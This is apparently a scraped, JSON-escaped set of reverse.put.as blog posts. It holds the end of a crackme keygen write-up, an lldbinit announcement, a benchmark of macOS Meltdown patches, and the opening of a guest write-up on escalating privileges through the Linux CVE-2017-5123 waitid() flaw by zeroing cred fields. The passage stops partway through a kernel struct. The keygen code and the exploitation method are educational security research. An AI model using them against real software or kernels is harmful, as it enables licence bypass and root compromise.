is what you\u0026#39;re looking for :) */ const unsigned char secret_hash[16] = { 0x1C, 0xED, 0x36, 0x37, 0x5B, 0xA8, 0x6C, 0x4D, 0xE1, 0x7C, 0x94, 0x0B, 0xF5, 0x78, 0xED, 0x68 }; /* so the valid serial number will be something that XORed with the mixed key * gives us the secret hash */ printf(\u0026#34;\\nYour valid key is: \u0026#34;); for (int x = 0; x \u0026lt; 16; x++) { printf(\u0026#34;%02x\u0026#34;, key[x] ^ secret_hash[x]); } The full keygen source code is available at Github.\nbash $ ./keygen_CrackMe_nr1_qwertyoruiop _ /\\ /\\___ _ _ __ _ ___ _ __ / \\ / //_/ _ \\ | | |/ _` |/ _ \\ \u0026#39;_ \\ / / / __ \\ __/ |_| | (_| | __/ | | /\\_/ \\/ \\/\\___|\\__, |\\__, |\\___|_| |_\\/ |___/ |___/ for CrackMe_nr1_qwertyoruiop (c) fG! - 2018 - https://reverse.put.as Your IOPlatformSerialNumber is: XXXXXXXXXX Your IOPlatformSerialNumber SHA1 hash is: 7a635df4bfdf8e31b2d8ad4dedcf5d33484bfcba The hardcoded sentence SHA1 is: 6e6238043879e73875ace630afa8542b88d518b3 Your valid key is: 08ec53c7dc0e05442608df76b71fe470 Using the keygen key we finally get the message we were after:\nWe saw that the decrypt text is essentially composed by selectors and the valid serial message. The rest of the mk method good path is essentially calling these selectors to build and show the valid message alert. Nothing much to explain there.\nThere are a few methods that we didn\u0026rsquo;t look at. They aren\u0026rsquo;t used and can be just a decoy. There is also a function sub_2A00 that has a call to arc4random. This function is unused and could be just a tip towards identifying RC4, since arc4random random number generator was originally based in RC4.\nAnd that\u0026rsquo;s it. The crackme isn\u0026rsquo;t super complicated but it is a good one to show and learn some tricks that can be useful to reverse other crackmes and malware samples. This writeup ended being a bit long because I wanted to explain every detail as much as possible.\nThanks to @qwertyoruiopz for writing this crackme.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2018/10/06/reversing-and-keygenning-qwertyoruiop-crackme/","summary":"\u003cp\u003eI was bored this weekend and decided to take some rust out of my reversing skills before they disappear for good. I have spent the past two years or so mostly writing C code (secure C is more like an asymptote but that is why it is a fun challenge) and barely doing any serious reverse engineering and security research. So I decided to revisit some unfinished business with qwertyoruiop\u0026rsquo;s crackme. I had a look when he originally sent it but got distracted with something else at the time and never finished it. I couldn\u0026rsquo;t find any public write-up about it so I decided to write one. It is mostly targeted to newcomers to reverse engineering and macOS. You can click the pictures to see the full size version.\u003c/p\u003e","title":"Reversing and Keygenning qwertyoruiop's Crackme"},{"content":"Many years ago I had to use gdb for the first time and I absolutely hated it. At the time I was reversing (cof cof cof) Windows apps so SoftIce and friends were my favorite tools. Compared to these gdb was a complete trash, mostly because the naked gdb lacks a nice context display. I like to know what the hell is going around each time I step in the debugger, without having to type a bunch of commands for it. Then I discovered the original gdbinit by +mammon and life with gdb was a bit easier.\nTen years ago (wut?!?) when I bought my first MacBook Pro and started this blog I started using gdb again and slowly improved gdbinit to OS X specifics. This was a messy project since gdb scripting language is quite limited. But I started to love gdb+gdbinit combo versus GUI debuggers such as Ollydbg. I got used to the command line and everything was faster with it.\nThese days gdb is essentially dead after OS X Sierra release. The old Apple gdb fork doesn\u0026rsquo;t work anymore and I am too lazy to fix it. GNU\u0026rsquo;s gdb was a complete piece of junk (still is?) in OS X (a bunch of stupid unsolved problems, such as fat binaries, etc) so LLDB is really the only alternative (personally I never really used IDA\u0026rsquo;s debugger - I really prefer command line debuggers these days). I resisted for long to start using LLDB, mostly because the lack of a gdbinit port to it. Naked LLDB is mostly useless, and it is worse than gdb because of it\u0026rsquo;s horrendous command line syntax (gdb is a mess but at least I don\u0026rsquo;t have to type a train of commands to write to a damn register or memorize a million keywords).\nLuckly for us, Deroko decided to save the day and created a basic port of gdbinit called lldbinit. This made my life easier but still not perfect!\nA few weeks ago I was starting to reverse a variant of dumb malware (technically adware but it is the same crap) from IronSource known as IronCore and getting tired of typing some LLDB commands I decided to bite the bullet and finally dive into lldbinit code and improve it. I don\u0026rsquo;t like Python at all (C FTW!) so this was a big step for me!\nAnd so an improved lldbinit is born. You can find it at https://github.com/gdbinit/lldbinit. I have ported most of gdbinit functionality that was missing and added a bunch of new commands. Also converted some commands that were issued via the command line interface to Python API, because it looks better and you also learn about API internals.\nFeel free to report bugs, fixes, etc to my mail or open an issue at Github.\nMy focus was on x86 related code so ARM features are pretty much untested/missing.\nTested with lldb-900.0.64 (from Xcode 9.2) but it should work with any recent LLDB (very old versions should have problems judging from Deroko original comments).\nA huge thanks to Deroko for his original efforts, without it I would never started this and my reversing engineering life would be harder.\nBye bye gdb, welcome LLDB!\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2018/01/15/lldbinit-improving-lldb/","summary":"\u003cp\u003eMany years ago I had to use gdb for the first time and I absolutely hated it. At the time I was reversing (cof cof cof) Windows apps so SoftIce and friends were my favorite tools. Compared to these gdb was a complete trash, mostly because the naked gdb lacks a nice context display. I like to know what the hell is going around each time I step in the debugger, without having to type a bunch of commands for it. Then I discovered the original gdbinit by +mammon and life with gdb was a bit easier.\u003c/p\u003e","title":"lldbinit - Improving LLDB"},{"content":"Happy New Year and happy ten year anniversary to this blog, which I totally forgot back in October :-/. Blogging activity here has been so slow that I almost forgot how to work with Hugo.\nWe started 2018 with heavy speculation on critical CPU bugs that were under disclosure embargo. Luckily for us, Google decided to break the embargo and release some proper information about the bugs so speculation could stop and facts could finally flow in. The merits or not of disclosure embargos deserve a serious discussion but this post is not the place for it. This one was for sure a huge mess.\nThe world was finally introduced to Meltdown and Spectre.\nOne of the more interesting rumours was about the performance impact of the security features implemented by Linux to workaround these bugs, in particular the mitigations against Meltdown (CVE-2017-5754). My economist and system administrator side got interested into this because there was almost no performance data available. It is interesting and necessary to measure the patch impact to fully understand its consequences. Yes, security is important, but if my whole business goes down because of the performance hit then the security might have to wait some time. No cash flows, no salaries, no business. Always keep this in mind.\nOn January 5th Apple disclosed that both its Intel and ARM systems (read OS X and iOS) were vulnerable to Meltdown and Spectre, and that patches were already released with High Sierra 10.13.2, iOS 11.2, tvOS 11.2. Regarding Meltdown performance impact they wrote:\nOur testing with public benchmarks has shown that the changes in the December 2017 updates resulted in no measurable reduction in the performance of macOS and iOS as measured by the GeekBench 4 benchmark, or in common Web browsing benchmarks such as Speedometer, JetStream, and ARES-6.\nThere is a funny story about the patch in High Sierra 10.13.2. My SentinelOne colleague Julien-Pierre detected a crash in our kernel extension with a 10.13.2 beta release. I started looking at the issue and the reason was that we were still using the IDT table to locate the kernel image in memory. The Meltdown patch introduces changes in IDT to improve the memory separation between kernel and user apps (the Meltdown vulnerability). I didn\u0026rsquo;t pursue reverse engineering the whole thing but I had a feeling at the time they were trying to separate kernel and user spaces. I thought Apple was experimenting with some new exploit mitigation strategy. Now with hindsight it is easier to look at the changes :-).\nAnyway, I decided to make a series of tests to measure the impact of the 10.13.2 patch. Benchmarking is not an easy task and the initial reports of different impacts depending on the workloads doesn\u0026rsquo;t make the problem easier. So my assumption was to try to measure one extreme - pure system call (syscall hereafter) performance - and some mundane tasks - compiling XNU kernel, unpacking Xcode 9.2, and run GeekBench 4 to reproduce Apple results.\nThe general conclusion points toward a real performance loss with High Sierra 10.13.2. This result was expected because of the engineering behind the patch and other operating systems initial reports. The syscall results are somewhat atrocious with 2 to 4 times increases in total execution time. This at \u0026ldquo;face\u0026rdquo; value looks really bad and some workloads will definitely suffer, hence the need to measure the impact for each specific scenario. But OS X and iOS are mostly desktop type operating systems and so the impact is somewhat smoothed because they aren\u0026rsquo;t executing millions of syscalls as fast as possible as my tests did. Yes it sucks, we just lost a certain amount of computing power in the space of a week, and for some people there is even real financial impact - some cloud users experienced higher CPU usage which will translate into higher costs.\nSome links about performance impacts in other operating systems:\nInitial Benchmarks Of The Performance Impact Resulting From Linux\u0026rsquo;s x86 Security Changes DragonFlyBSD mailing list post about fix and performance impact. Further Analyzing The Intel CPU \u0026ldquo;x86 PTI Issue\u0026rdquo; On More Systems Twitter post about AWS ECS hypervisor CPU usage increase. Epic Games complaining about backend increased CPU usage At least in OS X there is no much drama with the update, there are trade-offs that system administrators and users need to measure, understand, and accept or reject in cases where it is possible.\nSetup The tests were made with the following machines:\nMacBook Pro 8,2 - 2Ghz 4 Core i7 - 16 GB RAM - Corsair Neutron GTX 240 GB SSD Mac Pro 6,1 - 3,5 Ghz 6 Core Xeon E5 - 32 GB RAM - 256 GB SSD The MacBook Pro appears on charts as MBP and the Mac Pro as MP. Both have the PCID CPU feature (and XNU uses it in pmap_pcid_configure). If you make the tests in different machines (newer) and the results differ in conclusions please drop me an email with the results.\nOS X versions used:\nSierra 10.12.6, builds 16G1114 (MacBook Pro), 16G1036 (Mac Pro) High Sierra 10.13.0 (17A365), 10.13.2 (17C89) The 10.13.2 supplemental update was just released and has a new build number 17C205 but the kernel hasn\u0026rsquo;t changed versus 17C89.\nThe filesystem was HFS+ in Sierra, encrypted in the Mac Pro and not encrypted in the MacBook Pro, and unencrypted APFS in High Sierra.\nOther software:\nGeekbench 4.2.0 Xcode 9.2 Nasm 2.13.02 You can find the source code used for syscall benchmarking here.\nUnless explicit, all the results except Geekbench are total seconds to complete the test.\nBenchmarks Geekbench 4 Let\u0026rsquo;s start with the easiest test, Geekbench 4.\nThe results are a bit different between the MacBook and the Mac Pro (their CPUs belong to different classes) but the key takeaway is that the variation amount between the different versions is in practice irrelevant (the run #2 MacBook outlier can be ignored).\nThe multi-core performance degradation in the Mac Pro can be up to 1% but the initial release of High Sierra improved the score over Sierra, and in the case of the MacBook the results improved from Sierra to High Sierra and 10.13.2 loss isn\u0026rsquo;t conclusive.\nThese are Geekbench single-core results, five runs on each machine and different OS X versions.\nSingle Core MBP 10.12.6 MBP 10.13.0 MBP 10.13.1 MBP 10.13.2 Run 1 2957 2955 2955 2963 Run 2 2957 2697 2968 2969 Run 3 2955 2948 2977 2963 Run 4 2958 2960 2969 2957 Run 5 2954 2944 2972 2964 Average 2956,2 2900,8 2968,2 2963,2 The MacBook Pro single core performance doesn\u0026rsquo;t vary much, except for those two outliers, both on 10.13.0. But the Mac Pro displays a different picture - the single core performance improved from Sierra to High Sierra. Between High Sierra versions there is no conclusive direction but the performance loss is minimal. The positive variation means that Geekbench scores improved with the new version, and negative that they got worse.\nSingle Core MP 10.12.6 MP 10.13.0 MP 10.13.2 Run 1 3981 3988 3994 Run 2 3969 3993 3972 Run 3 3978 3997 3972 Run 4 3976 3987 3989 Run 5 3963 4000 3996 Average 3973,4 3993 3984,6 The multi-core results are slightly more interesting. For the MacBook Pro they show a performance improvement from Sierra to High Sierra and minimal performance loss between High Sierra versions. For the Mac Pro the gain is clear from Sierra to High Sierra, and a clear performance loss on 10.13.2 versus Sierra and initial High Sierra (except one case). Still, the performance loss is minimal, up to 1,40%.\nMulti Core MBP 10.12.6 MBP 10.13.0 MBP 10.13.1 MBP 10.13.2 Run 1 9318 9420 9309 9406 Run 2 9332 9405 9427 9374 Run 3 9365 9426 9418 9426 Run 4 9344 9414 9454 9371 Run 5 9362 9449 9441 9493 Average 9344,2 9422,8 9409,8 9414 Multi Core MP 10.12.6 MP 10.13.0 MP 10.13.2 Run 1 19802 19853 19710 Run 2 19862 19953 19754 Run 3 19813 19775 19707 Run 4 19813 19861 19821 Run 5 19814 19964 19732 Average 19820,8 19881,2 19744,8 The Geekbench results with my reduced machine sample set are in line with Apple\u0026rsquo;s bulletin - the performance reduction measured by Geekbench is mostly irrelevant (unless you are some Geekbench freak trying to rank the highest score possible).\nNow let\u0026rsquo;s try to assess performance using some mundane daily tasks - compiling XNU kernel, unpacking an archive, and then move to a very specific task, massive syscall execution.\nCompiling XNU 10.13.0 The first test is to compile the open source XNU kernel available at Apple open source site. The High Sierra version has some weird compilation dependencies so I have used Brandon Azad script available here. It automates the installation of everything necessary to build XNU. The test was essentially to compile and make clean, five times in a row.\nThe command line used to compile with the MacBook Pro was:\ntime make -j4 SDKROOT=macosx ARCH_CONFIGS=X86_64 KERNEL_CONFIGS=\u0026quot;RELEASE\u0026quot;\nand for the Mac Pro:\ntime make -j6 SDKROOT=macosx ARCH_CONFIGS=X86_64 KERNEL_CONFIGS=\u0026quot;RELEASE\u0026quot;\nThis is the table with total seconds to finish compilation for each model.\nMBP 10.12.6 MBP 10.13.0 MBP 10.13.2 MP 10.12.6 MP 10.13.0 MP 10.13.2 Run 1 270 280 304 175 164 177 Run 2 274 280 286 166 164 168 Run 3 270 279 287 166 164 169 Run 4 270 280 287 166 165 168 Run 5 269 280 287 165 164 168 Average 270,6 279,8 290,2 167,6 164,2 170 The results demonstrate a performance loss with 10.13.2 but also an interesting difference between the two machines. The MacBook build times always got worse with each new version, while in the Mac Pro High Sierra 10.13.0 improved the build times versus Sierra 10.12.6. Result of better multi-core performance observed in Geekbench results?\nThe performance loss compiling XNU exists but it\u0026rsquo;s still below two digits, 2% to 9%. It should be interesting (and important) to verify what is the result in larger projects, if it\u0026rsquo;s linear or goes exponentially worse (my expectation is that bigger projects with many source files might suffer because of syscall performance). What you should expect is slightly longer build times if you upgrade your build system to 10.13.2.\nXcode 9.2 unpacking The next test is to expand Xcode 9.2 installation archive. This is a 5.2 GB archive that takes a while to extract and consumes enough CPU resources to start spinning MacBook\u0026rsquo;s fans. Sounds like a good test to measure CPU and disk performance. The results are somewhat interesting!\nThe 10.12.6 tests run against HFS+ filesystem, encrypted in the Mac Pro case, while High Sierra all run in unencrypted APFS.\nXcode 9.2 XIP MBP 10.12.6 MBP 10.13.0 MBP 10.13.2 MP 10.12.6 MP 10.13.0 MP 10.13.2 Run 1 295 408 459 180 253 275 Run 2 301 413 444 181 254 277 Run 3 299 415 439 182 255 276 Run 4 301 415 440 N/A 254 274 The Mac Pro is around 60% faster than the MacBook Pro, but the performance loss will be similar in both. MBP vs MP 10.12.6 10.13.0 10.13.2 Run 1 61,02% 62,01% 59,91% Run 2 60,13% 61,50% 62,39% Run 3 60,87% 61,45% 62,87% Variation 10.13.0 vs 10.12.6 10.13.2 vs 10.13.0 10.13.2 vs 10.12.6 Run 1 38,31% 12,50% 55,59% Run 2 37,21% 7,51% 47,51% Run 3 38,80% 5,78% 46,82% Run 4 37,87% 6,02% 46,18% We can observe that the performance loss between Sierra to High Sierra (HFS+ to APFS) is considerable and around 40% or more. It\u0026rsquo;s also clear the degradation from 10.13.0 to 10.13.2 - the fix appears to introduce an additional performance cost.\nNow the results for the Mac Pro.\nVariation 10.13.0 vs 10.12.6 10.13.2 vs 10.13.0 10.13.2 vs 10.12.6 Run 1 40,56% 8,70% 52,78% Run 2 40,33% 9,06% 53,04% Run 3 40,11% 8,24% 51,65% Run 4 N/A 7,87% N/A The Xcode test shows that the performance loss exists with 10.13.2. But in what was a shock to me, APFS appears to introduce a considerable performance loss, even against an HFS+ encrypted filesystem. I heard before some buzz about APFS performance issues but this was the first time I installed High Sierra outside a virtual machine and measured its performance. The Meltdown patch introduces less than two digits performance loss in this test but APFS apparently generates a considerable filesystem performance loss. I wonder how much of this is perceived by the user in daily tasks. Something to measure with additional filesystem tests.\nThe last tests and the ones with really shocking results try to measure syscall performance. The reason for this is that syscalls make the transition from user to kernel and are directly affected by this particular patch design. These are extreme tests and where some Internet drama will focus. But the results can\u0026rsquo;t be taken at \u0026ldquo;face\u0026rdquo; value - they are somewhat atrocious but their impact will be different depending on workloads and type of work. No normal application is trying to execute 250 million syscalls as fast as possible. There are applications that depend more on syscalls than others and those will definitely suffer.\nSo the main reason for these extreme tests is to show that the impact is real and that you should try to measure your specific use cases. The workaround design concepts are shared between different operating systems so results similar to these are expected - their values should be different but not far away (that is my expectation).\nWhere possible I executed three versions per test.\nA 64 bits binary using syscall interface directly from assembler. A 64 bits binary using system libraries. A 32 bits binary using system libraries. The assembly version is expected to always be the fastest one due to system libraries overhead except cases where caching exists. I will explain these later on.\nThe syscalls used are getpid, read, write, lseek, gettimeofday.\nOnce again you can find the code here.\nempty function call The first test is sort of a placebo and it doesn\u0026rsquo;t involve syscalls. It\u0026rsquo;s just a call to an empty function.\n#include \u0026lt;unistd.h\u0026gt; __attribute__ ((optnone)) int foo(void) { return 0; } __attribute__ ((optnone)) int main(void) { for(ssize_t i = TOTAL_EXECS; i \u0026gt; 0; i--) { foo(); } return 0; } The attribute is required because in O2 mode the compiler will optimize and remove the useless function call.\nBecause the results are very similar and it\u0026rsquo;s just a placebo test the graph only shows the average for each test. We can observe that there are no significant differences between the OS X versions. This was the expected result due to no syscall involvement (except on exit). The tests using system libraries (libc and libc32) have slightly higher overhead because the produced code contains more instructions versus the assembly version.\ngetpid The first tested syscall is getpid(). Its kernel implementation is very simple:\nint getpid(proc_t p, __unused struct getpid_args *uap, int32_t *retval) { *retval = p-\u0026gt;p_pid; return (0); } Execution should be pretty fast, most of the overhead will be spent in the transition between user and kernel, and not in the function itself.\nWe can clearly observe this is where the fun starts. The 10.13.2 syscall is much slower versus previous versions. The fix introduces significant overhead at the syscall interface as expected. High Sierra 10.13.2 is more than 300% slower executing 250m getpid syscalls versus 10.13.0. Another test run executing only 50 million syscalls reveals the same variation - the performance loss is linear.\nMBP 10.13.0 vs 10.12.6 MBP 10.13.2 vs 10.13.0 MP 10.13.0 vs 10.12.6 MP 10.13.2 vs 10.13.0 Average -0,45% 343,47% -2,72% 380,20% The getpid libsystem_kernel.dylib implementation is slightly more complex because it caches the current pid, avoiding the syscall after the caching. This explains the huge performance difference between the syscall and system library tests.\nThe results present an interesting detail. Somehow Sierra libc 64 bit binary has slightly higher overhead versus everything else. I have no idea why this is happening - the libsystem_kernel.dylib assembly code is exactly the same. We are talking about an irrelevant timing difference but it is still curious why both machines show the same pattern. It could be due to different process startup overhead since the test is very short.\nThe relevant conclusion is that there is no relevant difference between all library the versions since the libc code is all userland after the PID is cached, coherent with the placebo test.\nread Next is the read syscall. The same loss pattern is observed on all tests although the loss is now around 140%. This time there is no visible improvement from Sierra to High Sierra (the test runs much longer so startup overhead is irrelevant). In 10.13.2 the 32 bits libc binary is faster than the other tests on both machines. Why?\nMBP 10.13.0 vs 10.12.6 MBP 10.13.2 vs 10.13.0 MP 10.13.0 vs 10.12.6 MP 10.13.2 vs 10.13.0 syscall 2,54% 145,78% 4,02% 146,07% libc 2,38% 150,86% 3,42% 152,07% libc32 2,33% 103,56% 3,47% 109,88% fread The fread function is buffered and lives only in system libraries. It presents degradation in the transition from Sierra to High Sierra (why?) but the fix has no impact. The other interesting fact is the worse performance in 32 bits. If I had to guess I would blame the memory copy routines that are faster in 64 bits.\nMBP 10.13.0 vs 10.12.6 MBP 10.13.2 vs 10.13.0 MP 10.13.0 vs 10.12.6 MP 10.13.2 vs 10.13.0 libc 17,93% -3,10% 21,83% 0,16% libc32 63,44% 0,19% 74,98% 0,08% write The write results are in line with read results, just slightly worse.\nMBP 10.13.0 vs 10.12.6 MBP 10.13.2 vs 10.13.0 MP 10.13.0 vs 10.12.6 MP 10.13.2 vs 10.13.0 syscall 3,13% 150,02% 2,76% 151,30% libc 2,82% 155,93% 2,15% 155,73% libc32 1,95% 108,04% 2,34% 115,03% fwrite The fwrite results are also in line with fread so I\u0026rsquo;ll just show the variation between the different versions. They are clearly similar to fread variations.\nMBP 10.13.0 vs 10.12.6 MBP 10.13.2 vs 10.13.0 MP 10.13.0 vs 10.12.6 MP 10.13.2 vs 10.13.0 libc 11,30% -2,88% 19,86% 0,12% libc32 62,51% -0,84% 72,73% 0,09% lseek For the lseek test I decided to do two SEEK_SET per test, one 4 bytes ahead and then reset back to zero. The pattern holds and 10.13.2 test times are much longer, more than 200%. The difference is smaller in 32 bits because it was already 50% slower than 64 bit and syscall versions.\nMBP 10.13.0 vs 10.12.6 MBP 10.13.2 vs 10.13.0 MP 10.13.0 vs 10.12.6 MP 10.13.2 vs 10.13.0 syscall -0,86% 236,18% -0,17% 239,02% libc -0,54% 241,88% 0,12% 244,32% libc32 -1,39% 104,85% -0,50% 110,32% gettimeofday Last but not least is gettimeofday. The system library implementation doesn\u0026rsquo;t always uses the syscall and that explains the better performance versus system call test. The trick is using the commpage to avoid a full syscall transition.\nint gettimeofday (struct timeval *tp, void *vtzp) { static int validtz = 0; static struct timezone cached_tz = {0}; struct timezone *tzp = (struct timezone *)vtzp; struct timeval atv; if (tp == NULL) { if (tzp == NULL) return\t(0); tp = \u0026amp;atv; } if (__commpage_gettimeofday(tp)) {\t/* first try commpage */ if (__gettimeofday(tp, NULL) \u0026lt; 0) {\t/* if it fails, use syscall */ return (-1); } } if (tzp) { if (validtz == 0) { struct tm *localtm = localtime ((time_t *)\u0026amp;tp-\u0026gt;tv_sec); cached_tz.tz_dsttime = localtm-\u0026gt;tm_isdst; cached_tz.tz_minuteswest = (-localtm-\u0026gt;tm_gmtoff / SECSPERMIN) + (localtm-\u0026gt;tm_isdst * MINSPERHOUR); validtz = 1; } tzp-\u0026gt;tz_dsttime = cached_tz.tz_dsttime; tzp-\u0026gt;tz_minuteswest = cached_tz.tz_minuteswest; } return (0); } There is a performance improvement from Sierra to High Sierra in the 64 bits version.\nRegarding the syscall, the performance loss holds in both Mac models.\nConclusions Some of the initial rumours regarding Meltdown discussed the performance impact of the Linux workaround to \u0026ldquo;truly\u0026rdquo; isolate the user/kernel boundary. After Meltdown was finally disclosed and it was known that OS X already had a patch released, I got curious about the performance impact and so I tried to benchmark two different Mac models and OS X versions.\nThe main question to be answered is if the performance impact exists?\nYes, it is very clear.\nThat leads to a follow up question. Is it relevant?\nIt depends.\nMy tests demonstrate that the syscall interface is definitely much slower in High Sierra 10.13.2. This could lead to some drama, that in most cases, is not justified (I witnessed some minor drama because I released an early chart to see what happened). What my tests appear to point to is that some workloads will be slower but they are probably not relevant unless you are doing millions of iterations. Maybe a 10% impact on your build times is not reasonable at all or you don\u0026rsquo;t even notice it. The most important thing that users and systems administrators need to do is to measure their specific situation. It\u0026rsquo;s the only way to be sure if this patch is a problem or not, and build their threat case under this new assumption. One thing is sure, this appears to be here to stay in the medium to long term until all hardware is replaced.\nYes it sucks very much that we all lost computing performance due to a CPU bug. Blame all CPU manufacturers and designers. Or you can view this from Adam Smith point of view of \u0026ldquo;there is no such thing as free lunches\u0026rdquo;. The computing power increased spectacularly in past decades. Do we really think this was without any trade-offs, in particular security trade-offs? Or maybe those security trade-offs weren\u0026rsquo;t even known or taken in account?\nBecause hindsight is 20/20 and now people are finding out old papers (\u0026ldquo;The Intel 80x86 Processor Architecture: Pitfalls for Secure Systems\u0026rdquo;) discussing early ideas on this type of problems and others exposing their knowledge and previous experimentations with similar issues (\u0026ldquo;Finding a CPU Design Bug in the Xbox 360\u0026rdquo;). So the ignorance defence is probably harder to sustain and it was just a trade-off performance vs security. Money talks, security walks ;-).\nCheers to all the researchers involved in Meltdown and Spectre, this was top notch security research.\nIf you detect mistakes or significant differences in other models please let me know. I expect the results to hold with other models so I am curious about it.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2018/01/07/measuring-osx-meltdown-patches-performance/","summary":"\u003cp\u003eHappy New Year and happy ten year anniversary to this blog, which I totally forgot back in October :-/.\nBlogging activity here has been so slow that I almost forgot how to work with Hugo.\u003c/p\u003e\n\u003cp\u003eWe started 2018 with heavy speculation on critical CPU bugs that were under disclosure embargo.\nLuckily for us, Google decided to break the embargo and release some \u003ca href=\"https://googleprojectzero.blogspot.pt/2018/01/reading-privileged-memory-with-side.html\"\u003eproper information\u003c/a\u003e about the bugs so speculation could stop and facts could finally flow in. The merits or not of disclosure embargos deserve a serious discussion but this post is not the place for it. This one was for sure a huge mess.\u003c/p\u003e\n\u003cp\u003eThe world was finally introduced to \u003ca href=\"https://meltdownattack.com\"\u003eMeltdown and Spectre\u003c/a\u003e.\u003c/p\u003e","title":"Measuring OS X Meltdown Patches Performance"},{"content":"This is a guest post by a young and talented Portuguese exploiter, Federico Bento. He won this year\u0026rsquo;s Pwnie for Epic Achievement exploiting TIOCSTI ioctl.\nDays ago he posted a video demonstrating an exploit for CVE-2017-5123 and luckly for you I managed to convince him to do a write-up about it.\nI hope you enjoy his work. Thanks Federico!\nWhile this one was on a rush, I want to create another blog dedicated to Portuguese hackers and researchers content. We have some great talent on this country so hopefully I will be able to convince them to produce written content instead of just sitting in the shadows. Let\u0026rsquo;s see if they collaborate on this idea.\nIf you are a Portuguese hacker \u0026amp; researcher keep watching this space for news. If you already have some content (looking for all kinds of stuff, even Web related stuff is ok) please drop a mail to chulo@put.as (hahahahah).\nHave fun,\nfG!\nAnd now off to Federico\u0026hellip;\nIntroduction This will be a quick write-up on how I exploited CVE-2017-5123, a Linux kernel vulnerability in the waitid() syscall for 4.12-4.13 versions. This vulnerability gives an attacker a write-not-what-only-where primitive, or in other words, the ability to write \u0026ldquo;non-controlled\u0026rdquo; user data to arbitrary kernel memory.\nKASLR is bypassed using memory probing and root obtained via cred struct spraying and location predictability.\nThe video demonstrating my exploit in action was published on November 5th, as it can be seen here, https://www.youtube.com/watch?v=DfwOJIcV5ZA.\nSurprisingly, Chris Salls independently published his own writeup and exploit on November 6th at https://salls.github.io/Linux-Kernel-CVE-2017-5123/. Awesome work there!\nThe Chrome Sandbox wasn\u0026rsquo;t in my scope though, I was after the more general case of arbitrary zero writes. AFAIK, this primitive by itself can\u0026rsquo;t be used to escape the Chrome Sandbox using Chris\u0026rsquo; techniques.\nSo now, November 7th (0:30 a.m here in Portugal!), I\u0026rsquo;ll be detailing how I used this write-not-what-only-where vulnerability without a single read to get root.\nObviously, given other vulnerabilities, such as certain infoleaks, it would be an instant game over.\nWhat spiked my interest, was what could one actually do with only this vulnerability by itself, or other vulnerabilities of this type, assuming all vanilla kernel protections.\nMore generally, what can one do when they\u0026rsquo;re presented solely with arbitrary zero writes into kernel memory (multiple arbitrary zero writes).\nIt didn\u0026rsquo;t matter if this was CVE-2017-5123 or other, I was after the techniques that could be used to increase our privileges with this primitive.\nIt\u0026rsquo;s powerful, but some would initially assume that it\u0026rsquo;s not enough these days.\nThe vulnerability from kernel/exit.c\nSYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *, infop, int, options, struct rusage __user *, ru) { struct rusage r; struct waitid_info info = {.status = 0}; long err = kernel_waitid(which, upid, \u0026amp;info, options, ru ? \u0026amp;r : NULL); int signo = 0; if (err \u0026gt; 0) { signo = SIGCHLD; err = 0; if (ru \u0026amp;\u0026amp; copy_to_user(ru, \u0026amp;r, sizeof(struct rusage))) return -EFAULT; } if (!infop) return err; user_access_begin(); unsafe_put_user(signo, \u0026amp;infop-\u0026gt;si_signo, Efault); unsafe_put_user(0, \u0026amp;infop-\u0026gt;si_errno, Efault); unsafe_put_user(info.cause, \u0026amp;infop-\u0026gt;si_code, Efault); unsafe_put_user(info.pid, \u0026amp;infop-\u0026gt;si_pid, Efault); unsafe_put_user(info.uid, \u0026amp;infop-\u0026gt;si_uid, Efault); unsafe_put_user(info.status, \u0026amp;infop-\u0026gt;si_status, Efault); user_access_end(); return err; Efault: user_access_end(); return -EFAULT; } The vulnerability here is that there is a missing access_ok() check in the waitid() syscall since they\u0026rsquo;ve introduced unsafe_put_user() in version 4.12.\nThe macro access_ok() should basically ensure that the user specified pointer points to user space and not kernel space, since unprivileged users shouldn\u0026rsquo;t be able to write arbitrarily to kernel memory.\nThis is done by checking the address limit.\nfrom arch/x86/include/asm/uaccess.h:\n#define user_addr_max() (current-\u0026gt;thread.addr_limit.seg) ... /* * Test whether a block of memory is a valid user space address. * Returns 0 if the range is valid, nonzero otherwise. */ static inline bool __chk_range_not_ok(unsigned long addr, unsigned long size, unsigned long limit) { /* * If we have used \u0026#34;sizeof()\u0026#34; for the size, * we know it won\u0026#39;t overflow the limit (but * it might overflow the \u0026#39;addr\u0026#39;, so it\u0026#39;s * important to subtract the size from the * limit, not add it to the address). */ if (__builtin_constant_p(size)) return unlikely(addr \u0026gt; limit - size); /* Arbitrary sizes? Be careful about overflow */ addr += size; if (unlikely(addr \u0026lt; size)) return true; return unlikely(addr \u0026gt; limit); } #define __range_not_ok(addr, size, limit) \\ ({ \\ __chk_user_ptr(addr); \\ __chk_range_not_ok((unsigned long __force)(addr), size, limit); \\ }) ... #define access_ok(type, addr, size) \\ ({ \\ WARN_ON_IN_IRQ(); \\ likely(!__range_not_ok(addr, size, user_addr_max())); \\ }) This means that this vulnerability allows an unprivileged user to specify a kernel address by using infop when calling waitid(), and the kernel will happily write to it.\nWhat is actually written though is hardly controlled.\nFrom Chris\u0026rsquo; post:\ninfo.status is a 32 bit int, but constrained to be 0 \u0026lt; status \u0026lt; 256. info.pid can be somewhat controlled by repeatedly forking, but has a max value of 0x8000.\nThis, however, did not interest me. What interested me was that we could write zeros into arbitrary kernel memory.\nHere\u0026rsquo;s what differentiates my exploit from Chris\u0026rsquo; - If we could somehow find our cred\u0026rsquo;s structure, we could write zeros there to effectively get root privileges by overwriting cred-\u0026gt;euid and cred-\u0026gt;uid.\nfrom include/linux/cred.h:\nstruct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */ unsigned securebits; /* SUID-less security management */ kernel_cap_t cap_inheritable; /* caps our children can inherit */ kernel_cap_t cap_permitted; /* caps we\u0026#39;re permitted */ kernel_cap_t cap_effective; /* caps we can actually use */ kernel_cap_t cap_bset; /* capability bounding set */ kernel_cap_t cap_ambient; /* Ambient capability set */ 